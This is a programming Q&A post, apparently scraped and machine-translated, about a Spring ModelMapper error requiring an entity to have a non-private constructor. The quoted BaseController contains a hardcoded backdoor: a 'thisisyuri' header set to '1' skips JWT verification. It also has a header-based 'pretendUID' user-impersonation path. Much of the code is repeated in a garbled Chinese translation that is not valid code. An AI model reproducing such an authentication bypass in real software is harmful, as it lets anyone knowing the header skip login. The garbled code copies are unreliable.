Java 确保实体具有非私有构造函数
我正在使用Spring并在“mapper”字段的第一个控制器中遇到问题: 上下文初始化期间遇到异常-取消刷新尝试:org.springframework.beans.factory.unsatifiedpendencyException:创建名为“controller”的bean时出错:通过字段“mapper”表示的未满足的依赖关系;嵌套异常为org.springframework.beans.factory.BeanCreationException:创建名为“modelMapperFactoryBean”的bean时出错:FactoryBean在创建对象时引发异常;嵌套异常为org.modelmapper.ConfigurationException:modelmapper配置错误:Java 确保实体具有非私有构造函数,java,spring,spring-boot,Java,Spring,Spring Boot,我正在使用Spring并在“mapper”字段的第一个控制器中遇到问题: 上下文初始化期间遇到异常-取消刷新尝试:org.springframework.beans.factory.unsatifiedpendencyException:创建名为“controller”的bean时出错:通过字段“mapper”表示的未满足的依赖关系;嵌套异常为org.springframework.beans.factory.BeanCreationException:创建名为“modelMapperFacto
@Entity
@Table(name = "entity", schema = "public")
public class Entity {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "id", nullable = false)
private Long id;
@JsonIgnoreProperties("agency")
@ManyToOne(fetch = FetchType.LAZY, optional = false)
@JoinColumn(name = "entity_id", foreignKey = @ForeignKey(name = "entity_fk", value = ConstraintMode.CONSTRAINT))
private Agency agency;
@Column(name = "brand_name", nullable = false, length = 255)
private String brandName;
@Column(name = "brand_image")
private String brandImage;
@Column(name = "billing_contact")
@Email(message = "This field should be valid email")
private String billingContact;
public Entity() {}
看起来还可以。以及无法初始化的控制器:
@RestController
@RequestMapping("/")
@PreAuthorize("hasAnyRole('ROLE_AGENT')")
public class Controller extends BaseController {
@Autowired
private ModelMapper mapper;
@Autowired
private Service service;
logic...
我有用于映射的配置:
@Component
public class ModelMapperCustomConfigurer extends ModelMapperCustomConfigurerBase {
private static final String DATE_FORMAT = "yyyy-MM-dd";
public void configure(ModelMapper modelMapper) {
super.configure(modelMapper);
modelMapper.getConfiguration().setMatchingStrategy(MatchingStrategies.STRICT);
TypeMap<Entity, EntityDTO> entityEntityDTOTypeMap = modelMapper.createTypeMap(Entity.class, EntityDTO.class);
entityEntityDTOTypeMap.addMapping(Entity::getBrandImage, EntityDTO::setBrandLogo);
..other mapping not of Entity...
@组件
公共类ModelMapperCustomConfigurer扩展了ModelMapperCustomConfigurerBase{
私有静态最终字符串日期\u格式=“yyyy-MM-dd”;
公共void配置(ModelMapper ModelMapper){
super.configure(modelMapper);
modelMapper.getConfiguration().setMatchingStrategy(MatchingStrategies.STRICT);
TypeMap entityEntityDTOTypeMap=modelMapper.createTypeMap(Entity.class,EntityDTO.class);
addMapping(Entity::getBrandImage,EntityDTO::setBrandLogo);
…其他映射不属于实体。。。
我所发现的一切都是关于抽象实体的,但我没有抽象,我犯了这个错误……为什么
UPD
public class BaseController {
@Autowired
private UserRepository userRepository;
@Autowired
private AgentRepository agentRepository;
@Autowired
private CampaignRepository campaignRepository;
@Autowired
private ManagementRepository managementRepository;
@Autowired
private JWTVerifier jwtVerifier;
@Autowired
private HttpServletRequest request;
private static final String AGENT_GROUP_NAME = "agents";
private static final String INTERNAL_GROUP_NAME = "internal";
Logger logger = LoggerFactory.getLogger(BaseController.class);
protected void jwtVerify() {
String jwtToken = request.getHeader(Jwt.JWT_HEADER_NAME);
if (jwtToken == null) {
throw new UnauthorizedException(String.format("Header '%s' not found", Jwt.JWT_HEADER_NAME));
}
String backdoor = request.getHeader("thisisyuri");
if (backdoor != null && backdoor.equals("1")) {
return;
}
try {
jwtVerifier.verify(jwtToken);
} catch (JWTVerificationException e) {
throw new UnauthorizedException(e.getMessage());
}
}
/**
* Return the logged in user's token or thorws an exception if no token is found
*
* @return
*/
protected TokenData getTokenData() {
Object tokenObj = request.getAttribute(JwtInterceptor.TOKEN_HEADER_NAME);
if (tokenObj == null) {
throw new UnauthorizedException("No token provided");
}
// token verify
jwtVerify();
return (TokenData) tokenObj;
}
/**
* Gets the logged in user or throws exception if it is not found
*
* @return
*/
protected IGenericUser getUserByToken() {
TokenData token = getTokenData();
if (isAgent(token)) {
Agent existingAgent = agentRepository.findByUid(token.sub)
.orElseThrow(() -> {
String msg = String.format("Agent not found for Uid: %s", token.sub);
logger.warn(msg);
return new ResourceNotFoundException(msg);
});
/* For internal admin use - pretend to be a different user */
if (isInternal(token)) {
/* Check if pretendUID is set/reset */
final String switchedUid = request.getHeader("pretendUID");
if (switchedUid != null) {
User pretendUser = null;
if (switchedUid.equals("0")) {
existingAgent.setPretendUid(null);
} else {
/* Supporting only pretend to be an influencer for now */
pretendUser = userRepository.findByUid(switchedUid)
.orElseThrow(() -> {
String msg = String.format("Pretend User not found for Uid: %s", switchedUid);
logger.warn(msg);
return new ResourceNotFoundException(msg);
});
existingAgent.setPretendUid(pretendUser.getUid());
}
agentRepository.save(existingAgent);
if (pretendUser != null) {
return pretendUser;
}
} else {
/* Check if pretendUID already present */
final String pretendUid = existingAgent.getPretendUid();
if (pretendUid != null) {
return userRepository.findByUid(pretendUid)
.orElseThrow(() -> {
String msg = String.format("Pretend User not found for Uid: %s", pretendUid);
logger.warn(msg);
return new ResourceNotFoundException(msg);
});
}
}
}
return existingAgent;
}
Optional<User> existingUser = userRepository.findByUid(token.sub);
return existingUser.orElseThrow(() -> new ResourceNotFoundException("User not found"));
}
/**
* Checks if the user is part of the agent group
*
* @param token
* @return
*/
protected boolean isAgent(TokenData token) {
return token.groups != null && (token.groups.contains(AGENT.getCognitoName()) ||
token.groups.contains(BRAND_OWNER.getCognitoName()) ||
token.groups.contains(SUPER_ADMIN.getCognitoName()) ||
token.groups.contains(VIEWER.getCognitoName()) ||
token.groups.contains(AGENT_GROUP_NAME)); // TODO remove AGENT_GROUP_NAME with removing "agents" Cognito group
}
/**
* Checks if the user is part of both the agent group and the internal group - for cross-agency access
*
* @param token
* @return
*/
protected boolean isInternal(TokenData token) {
return this.isAgent(token) && token.groups.contains(INTERNAL_GROUP_NAME);
}
/**
* Gets the logged in user and checks if he is authorized based class given. If the user is of different type it is also considered unauthorized
*
* @param id
* @param clazz
* @return
*/
protected <T extends IGenericUser> T checkAndGetUserAuthorized(Long id, Class<T> clazz) {
T loggedInUser = checkAndGetUserAuthorized(clazz);
if (!loggedInUser.getId().equals(id)) {
throw new UnauthorizedException();
}
return loggedInUser;
}
/**
* Overload of {@link BaseController#checkAndGetUserAuthorized(Long, Class)} to accept uid instead of id
*
* @param uid
* @param clazz
* @return
*/
protected <T extends IGenericUser> T checkAndGetUserAuthorized(String uid, Class<T> clazz) {
T loggedInUser = checkAndGetUserAuthorized(clazz);
if (!loggedInUser.getUid().equals(uid)) {
throw new UnauthorizedException();
}
return loggedInUser;
}
/**
* Gets the logged in user and checks if he is authorized based on the id and class given. If the user has a different id than the value provided throws
* {@link UnauthorizedException}. If the user is of different type it is also considered unauthorized
*
* @param clazz
* @return
*/
protected <T extends IGenericUser> T checkAndGetUserAuthorized(Class<T> clazz) {
IGenericUser loggedInUser = getUserByToken();
if (!clazz.isInstance(loggedInUser)) {
throw new UnauthorizedException();
}
return (T) loggedInUser;
}
/**
* Gets the logged in agent and checks if he has permission on the given campaignId. THe permission is checked based on the agency of the agent and the
* given campaign
*/
protected Agent checkAndGetAgentAuthorized(long campaignId) {
IGenericUser loggedInUser = getUserByToken();
if (!(loggedInUser instanceof Agent)) {
throw new UnauthorizedException();
}
Agent agent = (Agent) loggedInUser;
Campaign campaign = campaignRepository.findById(campaignId).orElseThrow(() -> new ResourceNotFoundException("Campaign not found for id " + campaignId));
if (!doesUserHaveRole(SUPER_ADMIN) && agent.getAgentBrandRoles().stream().noneMatch(role -> role.getAgencyBrand().equals(campaign.getAgencyBrand()))) {
throw new UnauthorizedException();
}
return agent;
}
protected boolean doesUserHaveRole(RoleType roleType) {
return request.isUserInRole(roleType.getSecurityName());
}
protected User verifyTMPermissionsAndGetSpecifiedInfluencer(User tm, TalentManagerPermission tmPermission, String infUidParam) {
/* Check if an influencer Uid specified using infUidParam */
String infUid = request.getParameter(infUidParam);
if ((infUid == null) || (infUid.length() == 0)) {
throw new BadRequestException(String.format("[%s] request param is needed when posting as the Talent Manager", infUidParam));
}
/* Check if specified influencer Uid is valid */
User influencer = userRepository.findByUidAndType(infUid, UserType.INFLUENCER)
.orElseThrow(() -> new ResourceNotFoundException("Influencer", "uid", infUid));
/* check if this TM can post on behalf of specified influencer */
Management management = managementRepository.findByInfluencerAndTalentManager(influencer, tm);
if (management == null) {
throw new IllegalArgumentException(String.format("Influencer with uid %s not connected to current talent manager", infUid));
} else if (!management.getManagementPermissionsSet().permits(tmPermission)) {
throw new IllegalArgumentException(String.format("Insufficient privileges to carryout task on behalf of influencer %s", infUid));
} else {
return influencer;
}
}
}
公共类BaseController{
@自动连线
私有用户存储库用户存储库;
@自动连线
私人代理;
@自动连线
私有存储库;
@自动连线
私有管理存储库管理存储库;
@自动连线
专用JWTVerifier JWTVerifier;
@自动连线
私有HttpServletRequest;
私有静态最终字符串代理\u组\u NAME=“代理”;
私有静态最终字符串INTERNAL\u GROUP\u NAME=“INTERNAL”;
Logger Logger=LoggerFactory.getLogger(BaseController.class);
受保护的void jwtVerify(){
字符串jwtToken=request.getHeader(Jwt.Jwt\u HEADER\u NAME);
if(jwtToken==null){
抛出新的UnauthorizedException(String.format(“未找到头“%s”,Jwt.Jwt_头_名称));
}
字符串backdoor=request.getHeader(“thisisyuri”);
if(backdoor!=null&&backdoor.equals(“1”)){
返回;
}
试一试{
jwtVerifier.verify(jwtToken);
}捕获(JWTVerificationException e){
抛出新的UnauthorizedException(例如getMessage());
}
}
/**
*如果找不到令牌,则返回登录用户的令牌或thorws异常
*
*@返回
*/
受保护的令牌数据getTokenData(){
objecttokenobj=request.getAttribute(JwtInterceptor.TOKEN\u头\u名称);
if(tokenObj==null){
抛出新的UnauthorizedException(“未提供令牌”);
}
//令牌验证
jwtVerify();
返回(TokenData)tokenObj;
}
/**
*获取登录的用户,如果未找到,则引发异常
*
*@返回
*/
受保护的IGenericUser getUserByToken(){
TokenData token=getTokenData();
if(isAgent(令牌)){
代理existingAgent=agentRepository.findByUid(token.sub)
.orElseThrow(()->{
String msg=String.format(“找不到Uid:%s的代理”,token.sub);
logger.warn(msg);
返回新的ResourceNotFoundException(消息);
});
/*供内部管理员使用-假装是其他用户*/
如果(isInternal(令牌)){
/*检查是否设置/重置了UID*/
最后一个字符串switchedUid=request.getHeader(“假装UID”);
if(switchedUid!=null){
User=null;
if(switchedId.equals(“0”)){
existingAgent.setUID(空);
}否则{
/*目前,我们只能假装自己是一个有影响力的人*/
假装用户=userRepository.findByUid(switchedUid)
.orElseThrow(()->{
String msg=String.format(“未找到Uid为%s的假装用户”,switchedUid);
logger.warn(msg);
返回新的ResourceNotFoundException(消息);
});
existingAgent.setInvokeUID(invokeUser.getUid());
}
代理存储。保存(现有代理);
if(用户!=null){
返回用户;
}
}否则{
/*检查是否已存在此UID*/
最后一个字符串invokeUID=existingAgent.getinvokeUID();
if(假装uid!=null){
返回userRepository.findByUid(UID)
.orElseThrow(()->{
String msg=String.format(“未找到Uid为%s的假装用户”,假装Uid);
logger.warn(msg);
返回新的ResourceNotFoundException(消息);
});
}
}
}
返回现有代理;
}
可选existingUser=userRepository.findByUid(token.sub);
返回existingUser.orelsetrow(()->new ResourceNotFoundException(“未找到用户”);
}